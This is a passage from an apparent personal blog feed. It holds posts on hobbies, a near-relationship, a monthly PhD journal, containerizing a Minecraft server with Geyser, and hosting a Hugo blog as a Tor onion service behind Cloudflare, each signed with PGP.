And now let’s talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I’ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I’m a proud member, trying to contribute as much as my time allows me to. +I’m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.

+

And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won’t get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it!

+

With all this being said, I think that’s it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I’m into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!!

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
+jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs+
+Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP
+zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft
+L+2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli
+bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK+Fyc+BlDnAO2qnjUgCW6XGn7QSy13AE
+y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd+CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v
+ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm
+p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE
+JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr
+reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR
+FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0=
+=42yP
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md
+curl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md.asc
+gpg --verify hobbies.md.asc hobbies.md
+  
+
+ + +]]>
Relationshipshttps://blog.alipour.eu/posts/relationships/Sun, 05 Oct 2025 08:03:31 +0000https://blog.alipour.eu/posts/relationships/My experience so far with relationships +

Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.

+

So… do you also think you’re a lover boy, kind, nice person? +So do I! +I think I’m actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.

+

My problem is when things are to become more serious! +Like, you know… connecting at a more emotional level. +A “relationship”. +I’m really bad at those. +In fact, I haven’t ever been in one! +Now let’s be honest, I’m not your typical jacked, handsome boy, but I think I’m somewhere around the average if not higher a bit? +Well, at least I hope so! :D

+

I actually haven’t even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like… yea dude… it was a date buddy. +Why do I say it wasn’t a date? +Well, because I was told so yesterday by her. +That if it’s a date, you’re supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn’t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
+We even found our “favorite shops” in the city together! +It was weird! I’m so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time.

+

But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon “hopefully”. +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that “the slots won’t be filled”. +It was weird, as if she was telling me I’m going to be taken if you don’t do anything…? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I’ve been friendzoning her. +That I’m not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the “ways”, she said “I don’t play games and I also advise you not to get together with people that do so”. +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I’m doing is normal and things are going well. +But I guess I was wrong?

+

I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn’t go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn’t even know she was joining them or not. +It’s kinda weird, but the plans were made in a group she was not inside of. +Anyway.

+

October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let’s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn’t just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn’t know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that’s how you can know if you like someone or not. If it’s two way ofc. +I asked her what is this “click”? +She said “you know when you know, and if you think you don’t know then there isn’t one”. +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it… +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date “early”, as time is of essence. +Again, I was confused. +I was lost. +We’ve been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that’s just how I felt in my mind? +Maybe things in my brain are just different? +I don’t know.

+

My sister in law told me that she probably had a crush on me and that I didn’t reciprocate her feelings perhaps? +That I’m friendzoning her by not touching her back or asking her out on a “date”. +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date.

+

She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, “we were so different from eachother at a much deeper level”. +That her “life experiecnes” are just different, “and so on”. +She did actually say “and so on”.

+

You know what it reminds me of? +Of when your paper gets rejected by saying “lacks novelty”. xD

+

Another extremely funny thing is that she said we’re so different at a much deeper level, but she doesn’t even know me. +What was meant at a deeper level? +I’m confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don’t even know me? I’m so so incredibly confused. +I guess it could be the looks, and the “vibes”? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won’t pursue her I guess? +Idk.

+

I want to also come back to this point she made that she is “starting a new relationship”. +She told me in the same conversation that someone asked her out (which she technically didn’t even say this, but it could be induced), and that going on a date “does not mean you’re in a relationship, that you want to know eachother”. +Her saying that “I said I’m starting a new relationship” hurt me, not because she is doing that, because she didn’t technically tell me that. +She then said “I always tell people this to avoid confusion”. +I definitly didn’t miss it if she did. She didn’t, but whatever. It’s fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me… +Did I miss it? +She didn’t. Just trust me on this one. ;)

+

I’m just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don’t blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an “undefined state” of a relationship, and that she wants to keep it “friendly” in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn’t even show interest about being friends, which is again totally fine. +But I’m just so baffeled by all of this.

+

So… yea. This last “thing”, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I’ve been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can’t just say the good stuff though. She was definitly a bit self-centered. It’s funny how she told me that “people say I’m so proud in a negative way, but anyone who talks with me knows I’m not like that”. Which is true, she wasn’t proud, the correct term is self-centered, or “narcissistic” if you will, which I don’t neceserrialy think is bad, but it is definitly an orange/yellow flag.

+

One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I’m hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don’t know.

+

Well. I don’t know what’s gonna happen next, but I’m going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won’t be alone? Who knows? haha.

+
+

P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I’m worth more than that. :) In my therapy session I remembered that in each of these so called “not dates” we had a conversation about “her”, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
+jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA++dKrn
++rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns
+pl+tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ+pBdSu0tCU4flVcDiTagVUE0hId8
+LC/unRH9o1S/iLLM4Fhao7Aifxr+lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8
+x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR
+l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y
+Bq942gP8J14AnhZfss7QNY65dQV+h4WH+nnNELB0j9ekB2kEOdz3HzrbelKRdiOW
+vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo
+6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo
+9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea+6oBIiUF8j+
+SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ=
+=lM4c
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/relationships.md
+curl -fSLO https://blog.alipour.eu/sources/posts/relationships.md.asc
+gpg --verify relationships.md.asc relationships.md
+  
+
+ + +]]>
September '25https://blog.alipour.eu/phd_journey/september_2025/Tue, 30 Sep 2025 09:48:21 +0000https://blog.alipour.eu/phd_journey/september_2025/<p>I started the month by finalizing my draft for Conext Student workshop. +Let&rsquo;s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I&rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.</p> +<p>I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!</p>I started the month by finalizing my draft for Conext Student workshop. +Let’s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.

+

I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!

+

Surprise surprize, the notification did not come and it’s the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October… +Drat!

+

I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that’s been done so far.

+

My social life has been much more exciting too. +I’ve been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don’t have the courage to write about now. ;) +Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)

+

And with that, that’s my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story!

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
+jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag
+w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk
+IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y
+3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl
+MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG
+1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t
+xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm
+9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B
+BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz
+yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv
+nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles=
+=ranU
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md
+curl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md.asc
+gpg --verify September_2025.md.asc September_2025.md
+  
+
+ + +]]>
Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

+
    +
  • failed to register layer: ... no space left on device
  • +
  • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
  • +
  • Wanting config in a neat .env and no whitelist
  • +
+

Here’s exactly what I did.

+
+

Folder layout

+
~/minecraft/
+├─ docker-compose.yml
+├─ .env
+└─ plugins/
+

+

.env (secrets & knobs)

+

Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

+
# Minecraft server configuration
+EULA=TRUE
+TYPE=PAPER
+VERSION=LATEST
+MEMORY=4G
+USE_AIKAR_FLAGS=true
+
+# RCON (remote console)
+ENABLE_RCON=true
+RCON_PASSWORD=superSecretPassword123
+
+

I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

+
+

docker-compose.yml

+
services:
+  mc:
+    image: itzg/minecraft-server:latest
+    container_name: mc
+    restart: unless-stopped
+    ports:
+      - "25565:25565"        # Java
+      - "19132:19132/udp"    # Bedrock via Geyser plugin
+    env_file:
+      - .env
+    volumes:
+      - mc-data:/data
+      - ./plugins:/plugins:ro
+volumes:
+  mc-data: {}
+
+

The version: key in Compose is obsolete now, so I dropped it.

+
+

Add Geyser (and optional Floodgate) as plugins

+
mkdir -p ~/minecraft/plugins
+cd ~/minecraft/plugins
+
+# Geyser (Spigot/Paper)
+wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
+
+# Floodgate (optional: Bedrock accounts without Java linking)
+wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
+

Start it up:

+
docker compose up -d
+

On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

+
+

Hit a wall: /var ran out of space

+

Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

+
/dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
+

Quick cleanup

+
docker system df
+docker system prune -f
+docker builder prune -af
+sudo apt-get clean
+sudo journalctl --vacuum-size=100M
+

If that’s not enough, you have two good options:

+

Option A — Move Docker’s data off /var

+
sudo systemctl stop docker
+sudo mkdir -p /home/docker
+sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
+echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
+sudo systemctl start docker
+docker info | grep "Docker Root Dir"
+

If all looks good, free the old space:

+
sudo rm -rf /var/lib/docker/*
+

Option B — Grow /var (LVM)

+

Check free space in the VG:

+
sudo vgdisplay   # look for "Free PE / Size"
+

If available, extend /var by +5G:

+
sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
+sudo resize2fs /dev/mapper/ubuntu--vg-var
+

+

The version mismatch: pre-release vs stable

+

My logs showed:

+
Starting minecraft server version 1.21.9 Pre-Release 2
+

That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

+
    +
  1. Ensure .env has: +
    VERSION=LATEST_RELEASE
    +
  2. +
  3. Recreate: +
    docker compose down
    +docker compose pull
    +docker compose up -d
    +
  4. +
  5. Verify: +
    docker logs mc | grep "Starting minecraft server version"
    +# -> Starting minecraft server version 1.21.1   (example)
    +
  6. +
+
+

Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

+
+

No whitelist

+

Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

+
docker exec -it mc rcon-cli "op YourJavaIGN"
+

(or edit /data/ops.json).

+
+

Backup & updates

+
    +
  • World/data live under the mc-data volume → back up /data regularly.
  • +
  • Update cleanly: +
    docker compose pull && docker compose up -d
    +
  • +
  • Watch space: +
    watch -n5 'df -h /var; docker system df'
    +
  • +
+
+

TL;DR

+
    +
  • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
  • +
  • Keep configs in .env.
  • +
  • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
  • +
  • Verify version in logs after each change.
  • +
+

Happy block-breaking! 🧱🚀

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
+jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
+Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
+0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
+7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
+JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
+OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
+s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
+g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
+NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
+F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
+sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
+=NmxL
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
+curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
+gpg --verify minecraft_server.md.asc minecraft_server.md
+  
+
+ + +]]>
Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

TL;DR — The site is built once (Hugo project), published twice:

+
    +
  • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
  • +
  • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
  • +
+
+

1) Tor hidden service (onion) basics

+

I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

+

Install & configure Tor (Debian/Ubuntu):

+
sudo apt update && sudo apt install -y tor
+sudoedit /etc/tor/torrc
+

Add:

+
HiddenServiceDir /var/lib/tor/hidden_site/
+HiddenServicePort 80 127.0.0.1:3301
+

Make sure the directory is owned by Tor’s user and private:

+
sudo mkdir -p /var/lib/tor/hidden_site
+sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
+sudo chmod 700 /var/lib/tor/hidden_site
+

Important: use the right systemd unit:

+
# validate as the Tor user
+sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
+
+# (re)start the real service
+sudo systemctl enable --now tor@default
+sudo systemctl restart tor@default
+

Get the onion address:

+
sudo cat /var/lib/tor/hidden_site/hostname
+

Quick check (do remote DNS via SOCKS):

+
curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
+

+

2) Nginx for the onion (localhost-only)

+

I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

+

/etc/nginx/sites-available/onion-blog:

+
server {
+    listen 127.0.0.1:3301 default_server;
+    server_name <your-56-char>.onion 127.0.0.1 localhost;
+
+    # keep onion simple; no HSTS/redirects here
+    add_header Referrer-Policy no-referrer always;
+    add_header X-Content-Type-Options nosniff always;
+    add_header X-Frame-Options SAMEORIGIN always;
+    # (optional) strict CSP so nothing leaks to clearnet
+    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
+
+    root /srv/hugo/mysite/public-onion;
+    index index.html;
+
+    location / { try_files $uri $uri/ /index.html; }
+    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
+        access_log off;
+        add_header Cache-Control "public, max-age=31536000, immutable";
+        try_files $uri =404;
+    }
+}
+

Enable/reload:

+
sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
+sudo nginx -t && sudo systemctl reload nginx
+
+

Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

+
+

3) Hugo + PaperMod setup (and version bumps)

+

PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

+
# install Hugo extended (example)
+VER=0.146.0
+cd /tmp
+wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
+tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
+sudo mv hugo /usr/local/bin/hugo
+hugo version  # should say "extended" and >= 0.146.0
+

Create the site and theme:

+
sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
+cd /srv/hugo
+hugo new site mysite
+cd mysite
+git init
+git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
+

Config updates: in newer Hugo, paginate is deprecated → use:

+
# config/_default/hugo.toml
+title = "My Blog"
+theme = "PaperMod"
+enableRobotsTXT = true
+
+[pagination]
+  pagerSize = 10
+
+[params]
+  defaultTheme = "auto"
+  showReadingTime = true
+  showPostNavLinks = true
+  showBreadCrumbs = true
+  showCodeCopyButtons = true
+

I added per-environment overrides so I can build two outputs with different baseURLs:

+
# config/clearnet/hugo.toml
+baseURL = "https://blog.alipourimjourneys.ir/"
+
+# config/onion/hugo.toml
+baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
+

+

4) Dual builds (clearnet + onion) and one-command deploy

+

I publish the same content twice—once for each base URL and docroot:

+
cd /srv/hugo/mysite
+# clearnet build (served over HTTPS)
+hugo --minify --environment clearnet -d public-clearnet
+# onion build (served via Tor)
+hugo --minify --environment onion    -d public-onion
+sudo systemctl reload nginx
+

Helper script I use:

+
sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
+#!/usr/bin/env bash
+set -euo pipefail
+cd /srv/hugo/mysite
+hugo --minify --environment clearnet -d public-clearnet
+hugo --minify --environment onion    -d public-onion
+sudo systemctl reload nginx
+echo "Deployed both at $(date)"
+EOF
+sudo chmod +x /usr/local/bin/build-both
+

While editing, I sometimes auto-rebuild on file save:

+
sudo apt install -y entr
+cd /srv/hugo/mysite
+find content layouts assets static config -type f | entr -r build-both
+

+

5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

+

Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

+
sudo snap install --classic certbot
+sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
+

Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

+
/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
+/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
+

Clearnet Nginx vhosts:

+
# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
+server {
+  listen 80; listen [::]:80;
+  server_name blog.alipourimjourneys.ir;
+  return 301 https://blog.alipourimjourneys.ir$request_uri;
+}
+
+# HTTPS origin (behind Cloudflare)
+server {
+  listen 443 ssl http2; listen [::]:443 ssl http2;
+  server_name blog.alipourimjourneys.ir;
+
+  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
+  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
+
+  # HSTS on clearnet only
+  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
+
+  # Help Tor Browser discover the onion mirror (safe on clearnet)
+  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
+
+  root /srv/hugo/mysite/public-clearnet;
+  index index.html;
+
+  location / { try_files $uri $uri/ /index.html; }
+}
+
+

Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

+
+

6) Troubleshooting I ran into (and fixes)

+
    +
  • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
  • +
  • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
  • +
